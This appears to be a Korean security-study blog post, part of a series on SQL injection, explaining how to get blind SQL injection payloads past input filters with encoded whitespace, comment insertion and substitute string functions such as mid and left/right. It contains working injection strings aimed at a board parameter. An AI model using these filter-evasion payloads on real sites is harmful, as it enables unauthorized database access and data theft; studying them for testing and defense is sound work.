Oh! JUN
7) 보안 솔루션 및 입력 값 검증 우회 기법 본문
※함수 검증 우회 기법※
| boardView.do?idx=100 and ascii(substring(@@version,1,1))&1=1-- | 차단 |
| boardView.do?idx=100 and ascii('a')=97-- | 정상 |
| boardView.do?idx=100 and substring('test',1,1)='t'-- | 차단 |
ascii와 substring 같이 사용할때 차단이고, ascii 혼자일때는 정상, substring 혼자일때도 차단이니까
substring 함수가 문제였다.
but 주의할점
ascii와 substring 함수가 같이 사용되면 막히는 경우도 있음
※우회※
1. 의미 없는 문자 삽입
| 분류 | 문자 |
| 공백 관련 문자 | %09 |
| %0A | |
| %0B | |
| %0C | |
| %0D | |
| %A0 | |
| 주석 문자 | /**/ |
| ex) boardView.do?idx=100 and substring[point]([point]'test',1,1)='t'-- | |
2. 대체 함수 사용
| DBMS | 함수 |
| MYSQL | substring |
| substr | |
| mid | |
| MSSQL | substring |
| ORACLE | substr |
어라? MYSQL은 3개정도 있으니까 그렇다하고, MSSQL, ORACLE은 어떻게 우회를 하지?
left, right함수
| Query | 결과 |
| select right('abcd',1) | 'd' |
| select right('abcd',2) | 'cd' |
| select left('abcd', 1) | 'a' |
| select left( 'abcd', 2) | 'ab' |
| select rigth(left('abcd',1),1) | 'a' |
| select rigth(left('abcd',2),1) | 'b' |
| select rigth(left('abcd',3),1) | 'c' |
| select rigth(left('abcd',4),1) | 'd' |
select rigth(left('abcd',3),1)
left('abcd', 3)은 왼쪽부터 3개의 문자니까 'abc'
보기좋게 치환시키면 select right('abc', 1) 되니까 'abc'에서 오른부터 1개의 문자니까 'c'
결국 right, left 함수를 사용해서 substring, substr와 같이 문자하나를 추출할 수 있다.
★★★★★
oracle은 right(), left() 내장함수에 존재하지 않아서 사용 안됨
'웹 해킹 > SQL Injection' 카테고리의 다른 글
| 2) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.11.14 |
|---|---|
| 8) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.10.12 |
| 6) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.10.09 |
| SQL Injection을 통한 데이터 조회 공격 실습 (0) | 2022.10.02 |
| SQL Injection을 통한 파일 다운로드 취약점 공격 실습 (0) | 2022.10.02 |